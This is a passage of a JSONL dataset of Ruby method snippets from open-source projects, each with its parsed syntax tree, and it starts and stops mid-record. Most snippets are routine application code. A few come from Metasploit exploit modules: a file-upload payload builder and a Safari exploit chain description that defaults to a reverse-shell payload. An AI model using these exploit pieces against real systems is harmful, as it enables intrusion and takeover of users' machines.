'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"AiBot\"]},\"TOPIC_AI_BOT_PM_FIELD\"]}]},{\"type\":\"str\",\"children\":[\"'\\n\"]},{\"type\":\"str\",\"children\":[\"                   AND tcf.value = 't'\"]}]}]},\"distinct\"]}]},{\"type\":\"lvasgn\",\"children\":[\"total\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_query\"]},\"count\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pms\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_query\"]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_posted_at\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},\"offset\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"per_page\"]}]}]},\"limit\",{\"type\":\"lvar\",\"children\":[\"per_page\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conversations\"]},{\"type\":\"send\",\"children\":[null,\"serialize_data\",{\"type\":\"lvar\",\"children\":[\"pms\"]},{\"type\":\"const\",\"children\":[null,\"ListableTopicSerializer\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"meta\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total\"]},{\"type\":\"lvar\",\"children\":[\"total\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"lvar\",\"children\":[\"page\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"per_page\"]},{\"type\":\"lvar\",\"children\":[\"per_page\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"has_more\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"total\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"*\",{\"type\":\"lvar\",\"children\":[\"per_page\"]}]}]}]}]}]}]}]}]}]}]}]}","id":"0bc01934-05f6-4379-bb49-4bce2d2697e7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-utils/lib/gitlab/utils/system.rb","start_line":128,"raw_source":"def sum_matches(proc_file, **patterns)\n        results = patterns.transform_values { 0 }\n\n        safe_yield_procfile(proc_file) do |io|\n          io.each_line do |line|\n            patterns.each do |metric, pattern|\n              results[metric] += parse_metric_value(line, pattern)\n            end\n          end\n        end\n\n        results\n      end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"sum_matches\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"proc_file\"]},{\"type\":\"kwrestarg\",\"children\":[\"patterns\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"patterns\"]},\"transform_values\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safe_yield_procfile\",{\"type\":\"lvar\",\"children\":[\"proc_file\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"io\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"each_line\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"patterns\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"metric\"]},{\"type\":\"arg\",\"children\":[\"pattern\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"metric\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"parse_metric_value\",{\"type\":\"lvar\",\"children\":[\"line\"]},{\"type\":\"lvar\",\"children\":[\"pattern\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"results\"]}]}]}","id":"a4dc6c07-ce34-4c45-9fbb-52eff643291b"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/user_subscription.rb","start_line":68,"raw_source":"def non_apple_auth_subscriber\n    return unless subscriber_email&.end_with?(\"@privaterelay.appleid.com\")\n\n    errors.add(:subscriber_email, I18n.t(\"models.user_subscription.non_apple\"))\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"non_apple_auth_subscriber\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subscriber_email\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"@privaterelay.appleid.com\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"subscriber_email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"models.user_subscription.non_apple\"]}]}]}]}]}","id":"ff9dca1f-4c0a-4164-8c19-e0ab7434b111"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/minitest/rails_plugin.rb","start_line":31,"raw_source":"def initialize(io = $stdout, options = {})\n      super\n      @results = []\n      @count = options[:profile]\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"io\",{\"type\":\"gvar\",\"children\":[\"$stdout\"]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@results\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"profile\"]}]}]}]}]}","id":"04a99d98-b5ed-4dea-a07a-71a009ad859a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/wiki_actions.rb","start_line":209,"raw_source":"def edit\n    @templates = templates_list\n\n    render 'shared/wikis/edit'\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"edit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@templates\",{\"type\":\"send\",\"children\":[null,\"templates_list\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"shared/wikis/edit\"]}]}]}]}","id":"37641b98-4ff2-439b-b647-22e0e9981fdf"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_worker_gem_independence.rb","start_line":154,"raw_source":"def verify_process_tag(pid, tag)\n    cmd = \"ps aux | grep #{pid}\"\n    io = IO.popen cmd, 'r'\n    assert io.read.include? tag\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_process_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pid\"]},{\"type\":\"arg\",\"children\":[\"tag\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ps aux | grep \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"io\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IO\"]},\"popen\",{\"type\":\"lvar\",\"children\":[\"cmd\"]},{\"type\":\"str\",\"children\":[\"r\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"read\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"tag\"]}]}]}]}]}","id":"679c5361-eef3-40a1-8a62-decda9605bd4"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/definition/generator/test_test.rb","start_line":24,"raw_source":"def test_generate_tests_raises_error_if_module_name_is_invalid\n    assert_raises ArgumentError do\n      @generator.call(nil, @files, @tests)\n    end\n\n    assert_raises ArgumentError do\n      @generator.call(\"\", @files, @tests)\n    end\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_generate_tests_raises_error_if_module_name_is_invalid\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@generator\"]},\"call\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"ivar\",\"children\":[\"@files\"]},{\"type\":\"ivar\",\"children\":[\"@tests\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@generator\"]},\"call\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"ivar\",\"children\":[\"@files\"]},{\"type\":\"ivar\",\"children\":[\"@tests\"]}]}]}]}]}","id":"3d5b6c50-4134-4e5d-989a-f5f43983b53b"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/users/import_data/stats.rb","start_line":62,"raw_source":"def prepare_stat_attributes(stat_data)\n    attributes = stat_data.except('created_at', 'updated_at', 'sharing_uuid')\n\n    attributes['user_id'] = user.id\n    attributes['created_at'] = Time.current\n    attributes['updated_at'] = Time.current\n    attributes['sharing_uuid'] = SecureRandom.uuid\n\n    attributes.symbolize_keys\n  rescue StandardError => e\n    ExceptionReporter.call(e, 'Failed to prepare stat attributes')\n\n    nil\n  end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_stat_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stat_data\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat_data\"]},\"except\",{\"type\":\"str\",\"children\":[\"created_at\"]},{\"type\":\"str\",\"children\":[\"updated_at\"]},{\"type\":\"str\",\"children\":[\"sharing_uuid\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"sharing_uuid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"symbolize_keys\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExceptionReporter\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"str\",\"children\":[\"Failed to prepare stat attributes\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},null]}]}","id":"15868ab6-2886-4e78-ad83-93e81d6fddfb"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/miq_ldap.rb","start_line":155,"raw_source":"def search(opts, &blk)\n    Timeout.timeout(@search_timeout) { _search(opts, &blk) }\n  rescue Timeout::Error\n    _log.error(\"LDAP search timed out after #{@search_timeout} seconds\")\n    raise\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"search\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]},{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeout\"]},\"timeout\",{\"type\":\"ivar\",\"children\":[\"@search_timeout\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"_search\",{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blk\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeout\"]},\"Error\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"LDAP search timed out after \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@search_timeout\"]}]},{\"type\":\"str\",\"children\":[\" seconds\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]}","id":"2b49f342-1b88-4b74-960d-edc61587e54b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/system_notes/base_service.rb","start_line":29,"raw_source":"def url_helpers\n      @url_helpers ||= Gitlab::Routing.url_helpers\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"url_helpers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@url_helpers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Routing\"]},\"url_helpers\"]}]}]}","id":"754539ff-5b04-47e9-91f4-7069d729aaee"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/negated_if_else_condition.rb","start_line":127,"raw_source":"def else_range(node)\n          if node.ternary?\n            node.else_branch\n          else\n            range_between(node.loc.else.end_pos, node.loc.end.begin_pos)\n          end\n        end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"else_range\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"ternary?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"else_branch\"]},{\"type\":\"send\",\"children\":[null,\"range_between\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"else\"]},\"end_pos\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"end\"]},\"begin_pos\"]}]}]}]}","id":"422302cd-0b38-46ea-a129-9b72a75842da"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/digestor_test.rb","start_line":210,"raw_source":"def test_collection_derived_from_record_dependency\n    assert_digest_difference(\"messages/show\") do\n      change_template(\"events/_event\")\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_collection_derived_from_record_dependency\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_digest_difference\",{\"type\":\"str\",\"children\":[\"messages/show\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"change_template\",{\"type\":\"str\",\"children\":[\"events/_event\"]}]}]}]}","id":"e03bc1d2-e223-4693-8260-44f291b17621"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/observability/group_o11y_settings_update_service.rb","start_line":21,"raw_source":"def manage_params(params)\n      set_url(filter_blank_params(params))\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"manage_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[null,\"set_url\",{\"type\":\"send\",\"children\":[null,\"filter_blank_params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"c1a40303-4c4d-4c04-b6b5-0b32f850cee1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/adobe_flash_regex_value.rb","start_line":78,"raw_source":"def exploit\n    @swf = create_swf\n    super\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@swf\",{\"type\":\"send\",\"children\":[null,\"create_swf\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"65e6e78a-af0d-40e2-8a01-3bc7140f1254"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/maarch_letterbox_file_upload.rb","start_line":71,"raw_source":"def generate_mime_message(payload, name)\n    data = Rex::MIME::Message.new\n    data.add_part(payload.encoded, 'text/plain', 'binary', \"form-data; name=\\\"file\\\"; filename=\\\"#{name}\\\"\")\n    data\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_mime_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]},{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"encoded\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"str\",\"children\":[\"binary\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"form-data; name=\\\"file\\\"; filename=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}","id":"acf54366-7901-43d6-b527-d7a6f5e4b560"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/error_tracking/sentry_client/issue.rb","start_line":168,"raw_source":"def extract_tags(issue)\n        {\n          level: issue.fetch('level', nil),\n          logger: issue.fetch('logger', nil)\n        }\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_tags\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"level\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"logger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"logger\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"c18659ef-f0e0-4acb-836f-3497d9ae67c4"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/activities/activity_property_formatters.rb","start_line":51,"raw_source":"def render_details(journal, html: true, activity_page: nil)\n          journal\n            .details\n            .filter_map { |d| journal.render_detail(d, html:, activity_page:) }\n        end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"render_details\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"journal\"]},{\"type\":\"kwoptarg\",\"children\":[\"html\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"activity_page\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"journal\"]},\"details\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"journal\"]},\"render_detail\",{\"type\":\"lvar\",\"children\":[\"d\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"lvar\",\"children\":[\"html\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"activity_page\"]},{\"type\":\"lvar\",\"children\":[\"activity_page\"]}]}]}]}]}]}","id":"2efad274-bd62-4c9d-9fb0-e4f940eb1e7d"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/app/helpers/spree/filters_helper.rb","start_line":89,"raw_source":"def all_option_values_scope\n      @all_option_values_scope ||= Spree::OptionValue.for_products(storefront_products_scope).distinct\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"all_option_values_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@all_option_values_scope\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"OptionValue\"]},\"for_products\",{\"type\":\"send\",\"children\":[null,\"storefront_products_scope\"]}]},\"distinct\"]}]}]}","id":"ab098d42-0d28-497f-83e0-f30aebf4a5b4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/protected_branches_finder.rb","start_line":16,"raw_source":"def initialize(project_or_group, params = {})\n    @project_or_group = project_or_group\n    @params = params\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_or_group\"]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project_or_group\",{\"type\":\"lvar\",\"children\":[\"project_or_group\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"36f118e1-04c3-441e-88d3-fe179cf98c01"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/models/active_session_spec.rb","start_line":632,"raw_source":"def key_name(user_id, session_id)\n        described_class.key_name_v1(user_id, session_id)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"key_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_id\"]},{\"type\":\"arg\",\"children\":[\"session_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"key_name_v1\",{\"type\":\"lvar\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"session_id\"]}]}]}","id":"d0f3948d-3c7f-48fd-8d1b-f71fd4b16e88"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/osx/browser/safari_in_operator_side_effect.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Safari in Operator Side Effect Exploit',\n        'Description' => %q{\n          This module exploits an incorrect side-effect modeling of the 'in' operator.\n          The DFG compiler assumes that the 'in' operator is side-effect free, however\n          the <embed> element with the PDF plugin provides a callback that can trigger\n          side-effects leading to type confusion (CVE-2020-9850).\n          The type confusion can be used as addrof and fakeobj primitives that then\n          lead to arbitrary read/write of memory. These primitives allow us to write\n          shellcode into a JIT region (RWX memory) containing the next stage of the\n          exploit.\n          The next stage uses CVE-2020-9856 to exploit a heap overflow in CVM Server,\n          and extracts a macOS application containing our payload into /var/db/CVMS.\n          The payload can then be opened with CVE-2020-9801, executing the payload\n          as a user but without sandbox restrictions.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Yonghwi Jin <jinmoteam[at]gmail.com>', # pwn2own2020\n          'Jungwon Lim <setuid0[at]protonmail.com>', # pwn2own2020\n          'Insu Yun <insu[at]gatech.edu>', # pwn2own2020\n          'Taesoo Kim <taesoo[at]gatech.edu>', # pwn2own2020\n          'timwr' # metasploit integration\n        ],\n        'References' => [\n          ['CVE', '2020-9801'],\n          ['CVE', '2020-9850'],\n          ['CVE', '2020-9856'],\n          ['URL', 'https://github.com/sslab-gatech/pwn2own2020'],\n        ],\n        'Notes' => {\n          'Reliability' => [ REPEATABLE_SESSION ],\n          'SideEffects' => [ IOC_IN_LOGS ],\n          'Stability' => [CRASH_SAFE]\n        },\n        'DefaultTarget' => 0,\n        'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },\n        'Targets' => [\n          [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],\n          [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],\n          [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],\n        ],\n        'DisclosureDate' => '2020-03-18'\n      )\n    )\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Safari in Operator Side Effect Exploit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits an incorrect side-effect modeling of the 'in' operator.\\n\"]},{\"type\":\"str\",\"children\":[\"          The DFG compiler assumes that the 'in' operator is side-effect free, however\\n\"]},{\"type\":\"str\",\"children\":[\"          the <embed> element with the PDF plugin provides a callback that can trigger\\n\"]},{\"type\":\"str\",\"children\":[\"          side-effects leading to type confusion (CVE-2020-9850).\\n\"]},{\"type\":\"str\",\"children\":[\"          The type confusion can be used as addrof and fakeobj primitives that then\\n\"]},{\"type\":\"str\",\"children\":[\"          lead to arbitrary read/write of memory. These primitives allow us to write\\n\"]},{\"type\":\"str\",\"children\":[\"          shellcode into a JIT region (RWX memory) containing the next stage of the\\n\"]},{\"type\":\"str\",\"children\":[\"          exploit.\\n\"]},{\"type\":\"str\",\"children\":[\"          The next stage uses CVE-2020-9856 to exploit a heap overflow in CVM Server,\\n\"]},{\"type\":\"str\",\"children\":[\"          and extracts a macOS application containing our payload into /var/db/CVMS.\\n\"]},{\"type\":\"str\",\"children\":[\"          The payload can then be opened with CVE-2020-9801, executing the payload\\n\"]},{\"type\":\"str\",\"children\":[\"          as a user but without sandbox 